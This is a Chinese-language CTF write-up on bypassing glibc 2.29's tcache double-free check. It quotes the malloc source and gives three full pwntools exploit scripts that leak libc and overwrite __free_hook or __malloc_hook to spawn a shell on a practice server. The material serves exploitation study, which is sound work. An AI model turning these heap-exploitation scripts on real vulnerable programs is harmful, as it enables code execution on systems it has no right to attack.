19 Feb 2020

glibc2.29-double free

glibc2.29-double free

fastbin double free,👴的青春回来🌶

glibc2.29-tcache

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache != NULL && tc_idx < mp_.tcache_bins)
      {
	/* Check to see if it's already in the tcache.  */
	tcache_entry *e = (tcache_entry *) chunk2mem (p);

	/* This test succeeds on double free.  However, we don't 100%
	   trust it (it also matches random payload data at a 1 in
	   2^<size_t> chance), so verify it's not an unlikely
	   coincidence before aborting.  */
	if (__glibc_unlikely (e->key == tcache))
	  {
	    tcache_entry *tmp;
	    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
	    for (tmp = tcache->entries[tc_idx];
		 tmp;
		 tmp = tmp->next)
	      if (tmp == e)
		malloc_printerr ("free(): double free detected in tcache 2");
	    /* If we get here, it was a coincidence.  We've wasted a
	       few cycles, but don't abort.  */
	  }

	if (tcache->counts[tc_idx] < mp_.tcache_count)
	  {
	    tcache_put (p, tc_idx);
	    return;
	  }
      }
  }
#endif

glibc2.29在tcache_entry结构体中加上一个8字节指针key,位置就是bk的位置,chunk进入tcache后,将chunk->key设置为tcachestruct(heap开头+0x10)

free时,进tcache前会检查chunk->key是否为tcache,如果是tcache就会检查tcache链中是否有相同的chunk

把chunk->key改了就可以绕过检查,但是👴寻思👴都能摸到bk了应该也能摸到fd,那👴应该也⑧需要double free了

在glibc2.29中,fastbin free时仍然仅验证了 main_arena 直接指向的块,即链表指针头部的块

	/* Check that the top of the bin is not the record we are going to
	   add (i.e., double free).  */
	if (__builtin_expect (old == p, 0))
	  malloc_printerr ("double free or corruption (fasttop)");

👴搞出来fastbin,然后fastbin double free,梦回2.23

*CTF2019-girlfriend

double free

libc白给,free一个大于等于0x420然后show就完事了

add一堆,先free7个,后面的准备进fastbin,然后fastbin double free基本操作

from pwn import *

#r = process(['./lib/ld-2.29.so','--library-path','./lib/','./babyheap'])
r = remote('node3.buuoj.cn',25085)
elf=ELF('./babyheap')
libc = ELF('./lib/libc.so.6')

def add(size,name):
    r.sendlineafter('choice:','1')
    r.sendlineafter('name',str(size))
    r.sendlineafter('name:',name)
    r.sendlineafter('call:','1')

def show(index):
    r.sendlineafter('choice:','2')
    r.sendlineafter('index:',str(index))
    r.recvuntil('name:')

def free(index):
    r.sendlineafter('choice:','4')
    r.sendlineafter('index:',str(index))

add(0x500,'fuck')
add(0x40,'/bin/sh\x00')
free(0)
show(0)
r.recvuntil('\n')
leak = u64(r.recvuntil('\x7f').ljust(8,'\x00'))
libc_base = leak-0x3b1ca0
log.success(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
log.success(hex(free_hook))
add(0x500,'fuck')

for i in range(9):
	add(0x60,'fuck')
for i in range(8):
	free(i+2)
free(10)
free(11)
free(10)

for i in range(7):
	add(0x60,'fuck')

add(0x60,p64(free_hook-0x13))
add(0x60,'fuck')
add(0x60,'fuck')
add(0x60,'a'*0x13+p64(system))
free(1)
r.interactive()

glibc-2.27

from pwn import *

r = remote('node3.buuoj.cn',29019)
elf=ELF('./babyheap')
libc = ELF('/libc-2.27.so')

def add(size,name):
    r.sendlineafter('choice:','1')
    r.sendlineafter('name',str(size))
    r.sendlineafter('name:',name)
    r.sendlineafter('call:','1')

def show(index):
    r.sendlineafter('choice:','2')
    r.sendlineafter('index:',str(index))
    r.recvuntil('name:')

def free(index):
    r.sendlineafter('choice:','4')
    r.sendlineafter('index:',str(index))

add(0x500,'fuck')
add(0x40,'/bin/sh\x00')
free(0)
show(0)
r.recvuntil('\n')
leak = u64(r.recvuntil('\x7f').ljust(8,'\x00'))
libc_base = leak-96-0x10-libc.sym['__malloc_hook']
log.success(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
log.success(hex(free_hook))

add(0x60,'fuck')
add(0x60,'fuck')
free(2)
free(2)
add(0x60,p64(free_hook-0x13))
add(0x60,'fuck')
add(0x60,'a'*0x13+p64(system))
free(1)
r.interactive()

glibc-2.23

from pwn import *

#r = process('./babyheap')
r = remote('node3.buuoj.cn',29021)
elf=ELF('./babyheap')
libc = ELF('/libc-2.23.so')

def add(size,name):
    r.sendlineafter('choice:','1')
    r.sendlineafter('name',str(size))
    r.sendlineafter('name:',name)
    r.sendlineafter('call:','1')

def show(index):
    r.sendlineafter('choice:','2')
    r.sendlineafter('index:',str(index))
    r.recvuntil('name:')

def free(index):
    r.sendlineafter('choice:','4')
    r.sendlineafter('index:',str(index))

add(0x100,'fuck')
add(0x40,'/bin/sh\x00')
free(0)
show(0)
r.recvuntil('\n')
leak = u64(r.recvuntil('\x7f').ljust(8,'\x00'))
libc_base = leak-0x3c4b78
log.success(hex(libc_base))

system = libc_base + libc.sym['system']
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc= libc_base + libc.sym['realloc']
log.success(hex(malloc_hook))

add(0xe0,'fuck')

add(0x68,'fuck')
add(0x68,'fuck')
add(0x68,'fuck')
add(0x68,'fuck')
free(3)
free(4)
free(3)
add(0x68,p64(malloc_hook-0x23))
add(0x68,'fuck')
add(0x68,'fuck')
print(0x68)
one = libc_base +0xf1147
add(0x68,'a'*0xb+p64(one)+p64(realloc+2))
r.interactive()


Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).